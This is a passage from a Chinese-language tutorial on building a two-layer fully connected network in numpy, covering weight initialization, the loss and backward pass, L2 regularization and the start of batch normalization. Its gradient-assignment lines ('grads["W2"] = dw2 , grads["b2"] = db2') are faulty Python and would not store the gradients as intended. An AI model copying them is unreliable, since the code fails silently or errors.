ไนŸไธ่ƒฝ้ƒฝๅคชๅคงๆˆ–ๅคชๅฐ๏ผŒๅ› ไธบๅ‚ๆ•ฐ(W,B)็š„ๅˆๅง‹ๅŒ–ๆ˜ฏ็›ธๅฝ“้‡่ฆ็š„๏ผŒ\n ๅฏนๆ•ดไธช็ฅž็ป็ฝ‘็ปœ็š„่ฎญ็ปƒๅฝฑๅ“ๅทจๅคง๏ผŒไฝ†ๅฆ‚ไฝ•proper็š„ๅˆๅง‹ๅŒ–ๅ‚ๆ•ฐไป็„ถๆฒกๆœ‰ๅฎš่ฎบ\n ็›ฎๅ‰ไปๆœ‰ๅพˆๅคšpaperๅœจไธ“้—จ่ฎจ่ฎบ่ฟ™ไธช่ฏ้ข˜ใ€‚\n \"\"\"\n def __init__(self\n ,input_dim=3*32*32\t\t# ๆฏๅผ ๆ ทๆœฌๅ›พ็‰‡็š„ๆ•ฐๆฎ็ปดๅบฆๅคงๅฐ\n ,hidden_dim=100\t\t# ้š่—ๅฑ‚็š„็ฅž็ปๅ…ƒไธชๆ•ฐ\n ,num_classes=10\t\t# ๆ ทๆœฌๅ›พ็‰‡็š„ๅˆ†็ฑป็ฑปๅˆซไธชๆ•ฐๆ˜ฏ\n ,weight_scale=1e-3):\t# ๅˆๅง‹ๅŒ–ๅ‚ๆ•ฐ็š„ๆƒ้‡ๅฐบๅบฆ(ๆ ‡ๅ‡†ๅๅทฎ)\n \"\"\"\n\t\tๆˆ‘ไปฌๆŠŠ้œ€่ฆๅญฆไน ็š„ๅ‚ๆ•ฐ(W,B)้ƒฝๅญ˜ๅœจself.paramsๅญ—ๅ…ธไธญ๏ผŒ\n\t\tๅ…ถไธญๆฏไธชๅ…ƒ็ด ้ƒฝๆ˜ฏ้ƒฝๆ˜ฏnumpy arrays:\n \"\"\"\n self.params = {}\n \t\"\"\"\n \tๆˆ‘ไปฌ็”จๆ ‡ๅ‡†ๅทฎไธบweight_scale็š„้ซ˜ๆ–ฏๅˆ†ๅธƒๅˆๅง‹ๅŒ–ๅ‚ๆ•ฐW,\n \tๅ็ฝฎB็š„ๅˆๅง‹้ƒฝไธบ0:\n \t(ๅ…ถไธญrandnๅ‡ฝๆ•ฐๆ˜ฏๅŸบไบŽ้›ถๅ‡ๅ€ผๅ’Œๆ ‡ๅ‡†ๅทฎ็š„ไธ€ไธช้ซ˜ๆ–ฏๅˆ†ๅธƒ)\n \t\"\"\"\n self.params[\"W1\"] = weight_scale * np.random.randn(input_dim\n ,hidden_dim)\n self.params[\"b1\"] = np.zeros((hidden_dim,))\n self.params[\"W2\"] = weight_scale * np.random.randn(hidden_dim\n ,num_classes)\n self.params[\"b2\"] = np.zeros((num_classes,))\n\t\t\"\"\"\n\t\tๅฏไปฅ็œ‹ๅˆฐ,\n\t\t้š่—ๅฑ‚็š„ๅ‚ๆ•ฐ็Ÿฉ้˜ต่กŒๆ•ฐๆ˜ฏ3*32*32๏ผŒๅˆ—ๆ•ฐๆ˜ฏ100๏ผ›\n\t\t่พ“ๅ‡บๅฑ‚็š„ๅ‚ๆ•ฐ็Ÿฉ้˜ต่กŒๆ•ฐๆ˜ฏ100๏ผŒๅˆ—ๆ•ฐ10.\n\t\t\"\"\"\n\n # ๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌๆœ€ๅŽๅฎšไน‰ไธ€ไธชlossๅ‡ฝๆ•ฐๅฐฑๅฏไปฅๅฎŒๆˆ็ฅž็ป็ฝ‘็ปœ็š„ๆž„้€ \n def loss(self, X, y):\n \"\"\"\n ้ฆ–ๅ…ˆ๏ผŒ่พ“ๅ…ฅ็š„ๆ•ฐๆฎXๆ˜ฏไธ€ไธชๅคš็ปด็š„array๏ผŒshapeไธบ(ๆ ทๆœฌๅ›พ็‰‡็š„ไธชๆ•ฐN*3*32*32),\n yๆ˜ฏไธŽ่พ“ๅ…ฅๆ•ฐๆฎXๅฏนๅบ”็š„ๆญฃ็กฎๆ ‡็ญพ๏ผŒshapeไธบ(N,)ใ€‚\n ๆˆ‘ไปฌlossๅ‡ฝๆ•ฐ็›ฎๆ ‡่พ“ๅ‡บไธ€ไธชๆŸๅคฑๅ€ผlossๅ’Œไธ€ไธชgradsๅญ—ๅ…ธ๏ผŒ\n ๅ…ถไธญๅญ˜ๆœ‰lossๅ…ณไบŽ้š่—ๅฑ‚ๅ’Œ่พ“ๅ‡บๅฑ‚็š„ๅ‚ๆ•ฐ(W,B)็š„ๆขฏๅบฆๅ€ผ๏ผš\n \"\"\" \n loss, grads = 0, {}\n \n # ๆ•ฐๆฎXๅœจ้š่—ๅฑ‚ๅ’Œ่พ“ๅ‡บๅฑ‚็š„ๆญฃๅ‘ไผ ๆ’ญ๏ผš\n h1_out, h1_cache = affine_relu_forward(X\n ,self.params[\"W1\"]\n ,self.params[\"b1\"])\n scores, out_cache = affine_forward(h1_out\n ,self.params[\"W2\"]\n ,self.params[\"b2\"])\n \n # ่พ“ๅ‡บๅฑ‚ๅŽ๏ผŒ็ป“ๅˆๆญฃ็กฎๆ ‡็ญพyๅพ—ๅ‡บๆŸๅคฑๅ€ผๅ’Œๅ…ถๅœจ่พ“ๅ‡บๅฑ‚็š„ๆขฏๅบฆ๏ผš\n loss, dout = softmax_loss(scores, y)\n \n # ๆŸๅคฑๅ€ผloss็š„ๆขฏๅบฆๅœจ่พ“ๅ‡บๅฑ‚ๅ’Œ้š่—ๅฑ‚็š„ๅๅ‘ไผ ๆ’ญ๏ผš\n dout, dw2, db2 = affine_backward(dout, out_cache)\n grads[\"W2\"] = dw2 , grads[\"b2\"] = db2\n _, dw1, db1 = affine_relu_backward(dout, h1_cache)\n grads[\"W1\"] = dw1 , grads[\"b1\"] = db1\n \n\t\t\"\"\"\n\t\tๅฏไปฅ็œ‹ๅˆฐๅ›พ็‰‡ๆ ทๆœฌ็š„ๆ•ฐๆฎๆขฏๅบฆdoutๅช่ตทๅˆฐไบ†ๅธฆ่ทฏ็š„ไฝœ็”จ๏ผŒ\n\t\tๆœ€็ปˆไผš่ˆๅผƒๆŽ‰๏ผŒๆˆ‘ไปฌๅช่ฆlossๅ…ณไบŽๅ‚ๆ•ฐ็š„ๆขฏๅบฆ๏ผŒ\n\t\t็„ถๅŽไฟๅญ˜ๅœจgradsๅญ—ๅ…ธไธญใ€‚\n\t\t\"\"\"\n return loss, grads\n```\n\nไธŠ้ขไปฃ็ ๅฎšไน‰็š„็ฑป `TwoLayerNet() ` ๅฐฑๆ˜ฏไธ€ไธชไธคๅฑ‚ๅ…จ้“พๆŽฅ็ฅž็ป็ฝ‘็ปœๆจกๅž‹๏ผŒๅ…ถไธญๅฏŒๅซไบ†ๆˆ‘ไปฌไน‹ๅ‰่ฎฒๅˆฐ็š„ๆ‰€ๆœ‰ๅ†…ๅฎนใ€‚\n\n้‚ฃไนˆๆ•…ไบ‹ๅˆฐๆญค๏ผŒๆˆ‘ไปฌๆ€ป็ฎ—ๆ˜ฏ็Ÿฅ้“ๆ€Žไนˆๅปบ็ซ‹ไธ€ไธช็ฅž็ป็ฝ‘็ปœๆก†ๆžถไบ†ใ€‚\n\nๆ„Ÿ่ง‰ๅพˆ็ฎ€ๅ•ๆ˜ฏไธ๏ผŸๆ˜ฏไธๆ˜ฏไปฅไธบๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ็Žฐๅœจๅฏไปฅๅผ€ๅง‹ๅนฒๆดปไบ†๏ผŸ\n\nNO~ no~ no~ \n\n่ฟ˜่ฟœๆฒกๆœ‰ๅ“ฆ๏ฝž ๆˆ‘ไปฌไธ่ฟ‡ๆ˜ฏ้“บๅฅฝไบ†ไธ€ๆก้€šๅพ€็›ฎ็š„ๅœฐ็š„ๆž—่ซๅฐ่ทฏๅ’Œๅ„็ง้“่ทฏไธคๆ—็š„่ฎพๆ–ฝ๏ผŒ่ฟ˜ๆฒกๆœ‰็œŸๆญฃๅœฐไธŠ่ทฏ่กŒ้ฉถๅ‘ข๏ผไนŸๅฐฑๆ˜ฏ่ฏด๏ผŒๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ่ฟ˜ๆฒกๆœ‰ๆญๅปบ่ตท่‡ชๆˆ‘**ๆจกๅž‹ๆœ€ไผ˜ๅŒ–**็š„็จ‹ๅบ๏ผŒๅณ**\"่ฎญ็ปƒ\"**็š„่ฟ‡็จ‹ใ€‚ๅœจๅŽ้ข็š„ๆ•…ไบ‹้‡Œ๏ผŒๆˆ‘ไปฌไธไป…่ฆๆžๆธ…ๆฅš่ฎญ็ปƒ็š„ๆต็จ‹ๆ€่ทฏ๏ผŒ่ฟ˜่ฆ่ฟ›ไธ€ๆญฅๅผบๅŒ–ๅ’Œๆ”น้€ ๆˆ‘ไปฌๅˆšๅˆšๆญๅปบ็š„็ฎ€ๆ˜“็ฅž็ป็ฝ‘่ทฏ๏ผŒๆŠŠๅฎƒไปŽไธ€ๆกๅฅ”ๅฐๅบท็š„ไนก้—ดๅฐ่ทฏๆ‰“้€ ๆˆๅฎž็Žฐๅ››ไธช\"็ŽฐไปฃๅŒ–\"ใ€้ซ˜้€Ÿ่ฟ่ฝฌ็š„้ซ˜้€Ÿๅ…ฌ่ทฏ๏ผ\n\n\n\n\n\n---\n\n## ้ซ˜้€Ÿ่ฟ่ฝฌ็š„ๅŠ ๅผบ็‰ˆ็ฅž็ป็ฝ‘็ปœ\n\nๅœจๅ‰้ข็š„ๆ•…ไบ‹้‡Œ๏ผŒๆˆ‘ไปฌๆ€ป็ฎ—ๆ˜ฏๅญฆไผšๆญๅปบไธ€ไธชๅ…จ่ฟžๆŽฅ็š„็ฅž็ป็ฝ‘็ปœไบ†๏ผŒ้‚ฃไนˆๅฎƒ็ฉถ็ซŸๅฅฝ็”จไนˆ๏ผŸๅฆ‚ๆžœไฝ ็›ดๆŽฅๅŽป็”จ้‚ฃไธช็ฎ€ๆ˜“็š„็ฅž็ป็ฝ‘็ปœๅœจCIFAR-10ๆ•ฐๆฎ้›†ไธŠ่ฎญ็ปƒๅ’Œๆฃ€ๆŸฅๅˆ†็ฑป็š„ๅ‡†็กฎ็Ž‡๏ผŒไฝ ๅฏ่ƒฝไผšๆœ‰ไบ›ๅคฑๆœ›ใ€‚\n\n> - ่ฎญ็ปƒ็š„้€Ÿๅบฆๅฅฝๆ…ขๅ•Š๏ผ\n> - ๅœจๆต‹่ฏ•้›†ไธŠๆ€Žไนˆๅ‡†็กฎ็Ž‡ไธ้ซ˜ๅ•Š๏ผŸ\n> - ่ฏฅๆ€ŽไนˆๅขžๅŠ ็ฅž็ป็ฝ‘็ปœ็š„ๆทฑๅบฆๅ‘ข๏ผŸ\n> - ใ€‚ใ€‚ใ€‚\n\nๆŽฅ่ธต่€Œ่‡ณ็š„้—ฎ้ข˜ๅ’Œ็–‘ๆƒ‘ๅฏ่ƒฝ่ฟ˜ๆœ‰ๅพˆๅคš๏ผŒไฝ†ๆ˜ฏไธ็”จๆ‹…ๅฟƒ๏ผŒๅœจๆ•…ไบ‹่ฐˆๅˆฐๆจกๅž‹็š„ๆœ€ไผ˜ๅŒ–โ€”โ€”โ€œ่ฎญ็ปƒโ€ไน‹ๅ‰๏ผŒๆˆ‘ไปฌๅฏไปฅ\"ไบ‹ๅŽ่ฏธ่‘›ไบฎ็š„\"ๅœจไธŠ่ฟฐ็ฎ€ๆ˜“็ฅž็ป็ฝ‘็ปœ็š„ๅŸบ็ก€ไธŠๆทป็ –ๅŠ ็“ฆ๏ผŒ่ฎฉๅฎƒๅ˜ๅพ—ๆ›ดๅŠ ๅผบๅคง๏ผŒๆ›ดๅŠ ้ซ˜ๆ•ˆ่ฟ่ฝฌ่ตทๆฅ๏ผ\n\n\n\n### ่ฎบ่‡ชๆˆ‘ๆƒฉ็ฝšๅŽ็š„ๆ•‘่ตŽไน‹่ทฏโ€”โ€”ๆญฃๅˆ™ๅŒ–\n\nๅœจๆˆ‘ไปฌ็š„ๆ•…ไบ‹่ฎฒๅ›พๅƒๆ ทๆœฌๆ•ฐๆฎๅœจ็ฅž็ป็ฝ‘็ปœไธญๅฆ‚ไฝ•ๆตๅŠจ็š„ๆ—ถๅ€™๏ผŒไปŽๆฏไธช็ฅž็ปๅ…ƒๅฑ‚็š„่ฏ„ไปทๆ‰“ๅˆ†๏ผŒๅˆฐๆฟ€ๆดป๏ผŒๅ†ๅˆฐๆœ€ๅŽ็š„่พ“ๅ‡บๅฑ‚็ป™ๅ‡บlossๆŸๅคฑๅ€ผ๏ผŒไปฅๅŠๆœ€็ปˆๅๅ‘ไผ ๆ’ญๅˆฐlossๅ…ณไบŽๅ‚ๆ•ฐ(W, B)็š„ๆขฏๅบฆ๏ผŒๆˆ‘ไปฌ็š„ๆœ€็ปˆ็›ฎ็š„ๆ˜ฏไธบไบ†ๅพ—ๅˆฐๆœ€ๅฐๅŒ–็š„lossๆŸๅคฑๅ€ผ๏ผŒๅ› ไธบๅฎƒๆ‰€ๅฏนๅบ”็š„ๅ‚ๆ•ฐ(W, B)ๆญฃๆ˜ฏๆˆ‘ไปฌๆƒณ่ฆ็š„็†ๆƒณ็ฅž็ป็ฝ‘็ปœๅ‚ๆ•ฐใ€‚\n\n็ฅž็ป็ฝ‘็ปœ็š„ๆœ€ไผ˜ๅŒ–่ฟ‡็จ‹๏ผŒๆญฃๆ˜ฏๆˆ‘ไปฌไธŠ่ฟฐ็š„ๅๅค่ฟญไปฃ้€ผ่ฟ‘ๆœ€ๅฐlossๆŸๅคฑๅ€ผ็š„่ฟ‡็จ‹๏ผŒ็„ถ่€Œๅœจ่ฟ™ไธช่ฟ‡็จ‹ไธญๅพˆๅฎนๆ˜“ๅ‡บ็Žฐไธ€ไธช้—ฎ้ข˜๏ผŒ้‚ฃๅฐฑๆ˜ฏ**โ€œ่ฟ‡ๆ‹Ÿๅˆโ€**ใ€‚ๆขๅฅ่ฏ่ฏด๏ผŒๅœจๆœ€ๅฐๅŒ–lossๆŸๅคฑๅ€ผๆ—ถ๏ผŒๆˆ‘ไปฌ็š„็ฅž็ป็ฝ‘็ปœ่ฎญ็ปƒๅญฆไน ๅพ—ๅคชๅฅฝไบ†๏ผŒ้ƒฝๅฟซๆŠŠ่ฎญ็ปƒ้›†็š„็ญ”ๆกˆ่ƒŒไธ‹ๆฅไบ†๏ผŒไฝ†ๆ˜ฏไธ€ๆ—ฆๅšๆต‹่ฏ•่€ƒ่ฏ•้ข˜๏ผŒๅฐฑ็ญ”็š„ไธ€ๅกŒ็ณŠๆถ‚ใ€ๆƒจไธๅฟ็น๏ผŒๅ‡†็กฎ็Ž‡่ฟœๆฏ”ๅš่ฎญ็ปƒ้ข˜ไฝŽ๏ผŒ่ฟ™ๅฐฑๆ˜ฏๆ‰€่ฐ“็š„โ€œ่ฟ‡ๆ‹Ÿๅˆโ€ใ€‚\n\n\"่ƒŒ็ญ”ๆกˆ\"็š„ๅŽๆžœๅฏๆ˜ฏๅพˆไธฅ้‡็š„๏ผŒๅฟ…้กป่ฆๆŽฅๅ—ๆƒฉ็ฝš๏ผ\n\nไบŽๆ˜ฏ๏ผŒๆˆ‘ไปฌ่ฆๆฑ‚ๅ›พ็‰‡ๆ ทๆœฌๆ•ฐๆฎๆฏ้€š่ฟ‡ไธ€ๆฌก็ฅž็ป็ฝ‘็ปœๆ—ถ๏ผŒ้ƒฝ่ฆๅฏนๅพ—ๅˆฐlossๆŸๅคฑ่พ“ๅ‡บๅ€ผๅ’Œๅ…ณไบŽๅ‚ๆ•ฐ็š„ๆขฏๅบฆๅŠ ไธ€ไธชๆƒฉ็ฝš้กนโ€”โ€”**ๆญฃๅˆ™้กน๏ผŒๅ…ถๆœฌ่ดจๆ˜ฏ็บฆๆŸ๏ผˆ้™ๅˆถ๏ผ‰่ฆไผ˜ๅŒ–็š„ๅ‚ๆ•ฐ**ใ€‚ๅฆ‚ไธ‹ๅ›พ๏ผš\n\n---\n\n![](http://rasbt.github.io/mlxtend/user_guide/general_concepts/regularization-linear_files/l2.png)\n\nไธŠๅ›พๆ˜ฏๅœจ$w_1,w_2$ๅ‚ๆ•ฐๅนณ้ขๅ†…๏ผŒ็ป˜ๅˆถ็š„lossๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผ็š„็ญ‰้ซ˜็บฟๅ›พใ€‚ๅœˆๅœˆๆœ€ไธญๅฟƒ็š„็‚นๅณไฝฟlossๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ๅฐๅ€ผๆ‰€ๅฏนๅบ”็š„ๅ‚ๆ•ฐ$w_1,w_2$ใ€‚่€Œๆญฃๅˆ™ๅŒ–ๆ˜ฏๆˆ‘ไปฌๅฏนไบŽ็ฅž็ป็ฝ‘็ปœไธญ็š„ๆฏไธชๆƒ้‡$w$๏ผŒๅ‘ๆŸๅคฑๅ‡ฝๆ•ฐไธญๅขžๅŠ ไธ€ไธชๆญฃๅˆ™้กน $\\frac{1}{2}\\lambda w^2$ (**L2ๆญฃๅˆ™ๅŒ–**)๏ผŒๅ…ถไธญ $\\lambda$ ๆ˜ฏๆญฃๅˆ™ๅŒ–ๅผบๅบฆใ€‚ไบŽๆ˜ฏ๏ผŒๅœจๆœ€ไผ˜ๅŒ–็š„่ฟ‡็จ‹ไธญ๏ผŒ่งฃ็ฉบ้—ด็ผฉๅฐไบ†๏ผŒ่งฃๅ‚ๆ•ฐ$w_1,w_2$็š„ๅฏ้€‰่Œƒๅ›ดไธๅ†ๆ˜ฏๆ•ดไธชๅนณ้ข๏ผŒ่€Œๆ˜ฏ่ขซ้™ๅˆถๅœจๅ›พไธญ้˜ดๅฝฑ็š„ๅœ†ๅฝขๅŒบๅŸŸๅ†…ใ€‚ๆ‰€ไปฅ๏ผŒ็ป่ฟ‡ๆƒฉ็ฝšไธ”ๆœ€ๅฐๅŒ–็š„lossๆŸๅคฑๅ€ผๆ‰€ๅฏนๅบ”็š„ๆœ€ไผ˜ๅ‚ๆ•ฐ$w_1,w_2$๏ผŒๅฐฑๆ˜ฏ่ท็ฆปๆœช็ปๅŽ†ๆƒฉ็ฝš็š„ๆœ€ๅฐๅŒ–lossๆŸๅคฑๅ€ผๆœ€่ฟ‘๏ผŒไฝไบŽๅœ†ๅฝขๅŒบๅŸŸ่พน็•ŒไธŠ็š„ไธ€็‚นใ€‚(See more: [XX](http://blog.csdn.net/wsj998689aa/article/details/39547771)๏ผŒ[XX](http://rasbt.github.io/mlxtend/user_guide/general_concepts/regularization-linear/))\n\n---\n\nๅบŸ่ฏ่ฏดไบ†ๅพˆๅคš๏ผŒๅๆ˜ ๅœจไปฃ็ ไธŠๅ…ถๅฎžๅพˆ็ฎ€ๅ•๏ผŒๅช้œ€่ฆๅฏน็ฅž็ป็ฝ‘็ปœ็ป™ๅ‡บ็š„lossๅ’Œๅ…ถๆขฏๅบฆ็จๅŠ ไฟฎๆ”นๅณๅฏ๏ผš\n\n```python\nloss += 0.5 * self.reg * (np.sum(self.params[\"W1\"] ** 2) + \\\n np.sum(self.params[\"W2\"] ** 2))\ndW2 += self.reg * self.params[\"W2\"]\ndW1 += self.reg * self.params[\"W1\"]\n```\n\n**ไปฃ็ ่ฏฆ่งฃ๏ผš**\n\n- `self.reg` ๆ˜ฏๆญฃๅˆ™ๅŒ–ๅผบๅบฆ๏ผŒ่ฟ™ไธๆ˜ฏไธ€ไธช่ฆไผ˜ๅŒ–็š„ๅญฆไน ๅ‚ๆ•ฐ๏ผŒ้œ€่ฆๅœจ่ฎญ็ปƒไน‹ๅ‰่ฎพ็ฝฎๅฅฝ๏ผŒๅ–ๅ…ถๅ€ผไธบ0ๅฐฑๆ„ๅ‘ณ็€ไธ่€ƒ่™‘ๆญฃๅˆ™ๅŒ–ใ€‚\n- `np.sum(self.params[\"W1\"] ** 2)` ่กจ็คบๅฏนๅ‚ๆ•ฐ็Ÿฉ้˜ต $w_1$ ไธญ็š„ๆฏไธ€ไธชๅ…ƒ็ด ้ƒฝๅ–ๅนณๆ–น๏ผŒๅนถๅ…จ้ƒจๅŠ ่ตทๆฅๅพ—ๅˆฐไธ€ไธชscalarๆ•ฐใ€‚\n\nๅฐๆณจ๏ผš\n\nๆˆ‘ไปฌ็š„L2ๆญฃๅˆ™ๅŒ–ๅฏไปฅ็›ด่ง‚็†่งฃไธบๅฎƒๅฏนไบŽๅคงๆ•ฐๅ€ผ็š„ๆƒ้‡ๅ‚ๆ•ฐ่ฟ›่กŒไธฅๅŽ‰ๆƒฉ็ฝš๏ผŒๅ€พๅ‘ไบŽๆ›ดๅŠ ๅˆ†ๆ•ฃ็š„ๆƒ้‡ๅ‚ๆ•ฐใ€‚็”ฑไบŽๅœจๆฏๅฑ‚็š„็ฅž็ปๅ…ƒไธญ่พ“ๅ…ฅๆ•ฐๆฎๅ’Œๆƒ้‡ๅ‚ๆ•ฐ็Ÿฉ้˜ตไน‹้—ด็š„ไน˜ๆณ•ๆ“ไฝœ๏ผŒ่ฟ™ๆ ทๅฐฑๆœ‰ไบ†ไธ€ไธชไผ˜่‰ฏ็š„็‰นๆ€ง๏ผšไฝฟๅพ—็ฅž็ป็ฝ‘็ปœ็ฝ‘็ปœๆ›ดๅ€พๅ‘ไบŽไฝฟ็”จๆ‰€ๆœ‰่พ“ๅ…ฅๆ•ฐๆฎ็š„็‰นๅพ๏ผŒ่€Œไธๆ˜ฏไธฅ้‡ไพ่ต–่พ“ๅ…ฅ็‰นๅพไธญๆŸไบ›ๅฐ้ƒจๅˆ†็‰นๅพใ€‚\n\nๆœ€ๅŽ้œ€่ฆๆณจๆ„็š„ๆ˜ฏ๏ผŒๅœจๆœ€ไผ˜ๅŒ–่ฎญ็ปƒ้‡Œๆขฏๅบฆไธ‹้™ๅ’Œๅ‚ๆ•ฐๆ›ดๆ–ฐ็š„ๆ—ถๅ€™๏ผŒไฝฟ็”จL2ๆญฃๅˆ™ๅŒ–ๆ„ๅ‘ณ็€ๆ‰€ๆœ‰็š„ๆƒ้‡้ƒฝไปฅ `w += -reg * W` ๅ‘็€0็บฟๆ€งไธ‹้™ใ€‚\n\n\n\n### ๆœ‰่†œๆ›ดๅฅๅบท๏ผโ€”โ€”ๆ‰น้‡ๅฝ’ไธ€ๅŒ–\n\n**ๆณจๆ„๏ผš**ๆŽฅไธ‹ๆฅ็š„ๆ•…ไบ‹ๅฐฑๅผ€ๅง‹ๅ˜็š„้žๅธธๅพฎๅฆ™ไบ†๏ผŒ็”ฑไบŽๆ•…ไบ‹็š„ๅคงbossโ€”โ€”็ฅž็ป็ฝ‘็ปœ็š„ๆœ€ไผ˜ๅŒ–ไฝไบŽๆœฌๆ–‡็š„ๆœ€ๅŽไธ€้ƒจๅˆ†(่ฆๆžๅฎšๅคงbossๆ‰่ƒฝๅคง็ป“ๅฑ€ๅ˜›)๏ผŒๆ‰€ไปฅๆŽฅไธ‹ๆฅ็š„ๆ•…ไบ‹ไธญๅฐ†ไผšๆ—ถไธๆ—ถๅœฐๅ‡บ็Žฐๅคงboss็š„่บซๅฝฑ๏ผŒๆฏ”ๅฆ‚ๅŒบๅˆ†่ฎญ็ปƒๆจกๅผๅ’Œๆต‹่ฏ•ๆจกๅผใ€ไผ˜ๅŒ–็ฎ—ๆณ•็ญ‰่บซๅฝฑใ€‚ๆ‰€ไปฅไธ่ฆๆ‹…ๅฟƒ่ง‰ๅพ—ๅคช้™Œ็”Ÿ๏ผŒๅฎƒไผšๅœจๆ•…ไบ‹ๆœ€็ปˆๅคง็ป“ๅฑ€ๆ—ถ่ฟ˜ไผš้œฒ้ข็š„ใ€‚\n\nๅ‰้ข็š„ๆ•…ไบ‹ๆๅˆฐ่ฟ‡๏ผŒ็ฅž็ป็ฝ‘็ปœ็š„ๅˆๅง‹ๅŒ–ๆ˜ฏไธ€ไธชๅพˆๆฃ˜ๆ‰‹็š„้—ฎ้ข˜ใ€‚ๅณไฝฟๅˆฐ็Žฐๅœจ๏ผŒ่ฐไนŸไธๆ•ข่ฏด่‡ชๅทฑ็š„ๅˆๅง‹ๅŒ–ๆ–นๆกˆๅฐฑๆ˜ฏๆœ€ๅฎŒ็พŽใ€ๆœ€ๅˆ้€‚็š„ใ€‚ไธ่ฟ‡๏ผŒๆˆ‘ไปฌๆœ‰ไธ€ไธชๆŽฅ่ฟ‘ๅฎŒ็พŽ็š„ๆ–นๆกˆๆฅๅ‡่ฝปๅฆ‚ไฝ•ๅˆ็†ๅˆๅง‹ๅŒ–็ฅž็ป็ฝ‘็ปœ่ฟ™ไธชๆฃ˜ๆ‰‹้—ฎ้ข˜ๅธฆๆฅ็š„ๅคด็—›๏ผŒ่ฟ™ไธชๆ–นๆกˆๅฐฑๆ˜ฏ**ๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผˆBatch Normalization๏ผ‰**ใ€‚\n\n็ป†่ฏดไน‹ๅ‰๏ผŒๅ…ˆ้ฃžๅ›พไธคๅผ ๆฅ็œ‹็œ‹ๅฎƒไป€ไนˆๆ ทๅญ๏ฝž\n\n---\n\n![](http://upload-images.jianshu.io/upload_images/2301760-7a7167abb6b6cc10.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nไธŠๅ›พๆ˜ฏๆˆ‘ไปฌๅทฒ็ปไธๅ†้™Œ็”Ÿ็š„3ๅฑ‚ๅ…จ่ฟžๆŽฅ็ฅž็ป็ฝ‘็ปœ๏ผŒ2ไธช้š่—ๅฑ‚็ฅž็ปๅ…ƒไธญ็š„f่กจ็คบ็ฅž็ปๅ…ƒไปฌ็ป™ๅ‡บๆ‰“ๅˆ†ๅŽ็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐfใ€‚\n\n่€Œ**ๆ‰น้‡ๅฝ’ไธ€ๅŒ–๏ผˆBatch Normalization๏ผ‰**ๆ‰€ๅš็š„ไบ‹ๆƒ…๏ผŒๅฐฑๆ˜ฏ่ฆๅœจ็ฅž็ปๅ…ƒไปฌ็ป™ๅ‡บๆ‰“ๅˆ†ๅ’Œๆ‹ฟๅŽปๅšๆฟ€ๆดปไน‹้—ดๆทปๅŠ ไธ€ไธชๆญฅ้ชค๏ผŒๅฏนๆ‰€ๆœ‰็š„ๅพ—ๅˆ†ๅšไธ€ไธชๆ•ฐๆฎ้ข„ๅค„็†๏ผŒ็„ถๅŽๅ†้€็ป™ๆฟ€ๆดปๅ‡ฝๆ•ฐใ€‚ๅฆ‚ไธ‹ๅ›พๆ‰€็คบ๏ผš\n\n![](http://upload-images.jianshu.io/upload_images/2301760-ebbfe8659b9e6b27.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\nๅฏไปฅ็œ‹ๅˆฐ๏ผŒๆˆ‘ไปฌ็ป™ๆฏไธ€ๅฑ‚็ฅž็ป็ฝ‘็ปœ็š„ๆฟ€ๆดปๅ‡ฝๆ•ฐๅ‰่ดดไธŠไธ€ๅฑ‚\"่†œ\"๏ผŒ่ฆๆฑ‚ๆ•ฐๆฎๅ’Œๆขฏๅบฆๅœจๆญฃๅๅ‘ไผ ๆ’ญไธญ้ƒฝ่ฆๆœ‰่ฟ™ไธ€ๆญฅ้ชคใ€‚ๅƒไธ‡ไธ่ฆๅฐ็žง็ฅž็ปๅ…ƒไฝ“ๅ†…็š„่ฟ™ไธ€ๅฑ‚่–„่–„็š„\"่†œ\"๏ผŒๅฎƒ็š„ๅญ˜ๅœจๆ„ไน‰้‡ๅคงไธ”ๆทฑๅˆป(ๅˆ‡ๅ‹ฟๆƒณๆญช๏ฝž)ใ€‚่ฟ™ไธชๅœจๆฏไธ€ไธช้š่—ๅฑ‚ไธญๅขžๅŠ \"ๆ‰น้‡ๅฝ’ไธ€ๅŒ–\"ไฝœไธบๆ•ฐๆฎ้ข„ๅค„็†็š„ๆ–นๆณ•ๅฏไปฅๅœจๆœชๆฅ็š„ๅญฆไน ่ฟ‡็จ‹ไธญ๏ผŒ่ฟ›ไธ€ๆญฅๅŠ ้€Ÿๆ”ถๆ•›๏ผŒๅ…ถๆ•ˆๆžœ้žๅŒๅฐๅฏใ€‚ๅฎƒๅฐฑๅƒ้ซ˜้€ๅ…‰็š„ๆ‰‹ๆœบ่ดด่†œๅ“ˆ๏ผŒๆ—ข่ƒฝไฟๆŠคๆ‰‹ๆœบๅฏนๅค–็•Œ็Žฏๅขƒ็š„็ฃจๆŸ๏ผŒๅˆ่ƒฝไฟ่ฏ่†œๅ†…ๆ‰‹ๆœบๅฑๅน•้€ๅ…‰ๆ€ง๏ผŒๆˆ‘ไปฌ็š„ๆ‰‹ๆœบๅฝ“็„ถๅฐฑๆ›ดๅฅๅบทๅ•ฆ๏ผ\n\n---\n\n\n\nไธ‹้ข็›ดๆŽฅ็ป™ๅ‡บๆญฃๅ‘ไผ ๆ’ญBatch Normalization(BN)ๅฑ‚็š„ `batchnorm_forward(x, gamma, beta, bn_param)=(out,cache)` ๅ‡ฝๆ•ฐไปฃ็ ๏ผŒไผšๆ›ดๆธ…ๆ™ฐๆ˜Žไบ†๏ผ\n\n```python\ndef batchnorm_forward(x, gamma, beta, bn_param):\n \"\"\"\n During training the sample mean and (uncorrected) sample variance are\n computed from minibatch statistics and used to normalize the incoming data.\n During training we also keep an exponentially decaying running mean of the mean\n and variance of each feature, and these averages are used to normalize data\n t test-time.\n\n At each timestep we update the running averages for mean and variance using\n an exponential decay based on the momentum parameter:\n\n running_mean = momentum * running_mean + (1 - momentum) * sample_mean\n running_var = momentum * running_var + (1 - momentum) * sample_var\n\n Note that the batch normalization paper suggests a different test-time\n behavior: they compute sample mean and variance for each feature using a\n large number of training images rather than using a running average. For\n this implementation we have chosen to use running averages instead since\n they do not require an additional estimation step; the torch7 implementation\n of batch normalization also uses running averages.\n \n Input:\n - x: Data of shape (N, D)\n - gamma: Scale parameter of shape (D,)\n - beta: Shift paremeter of shape 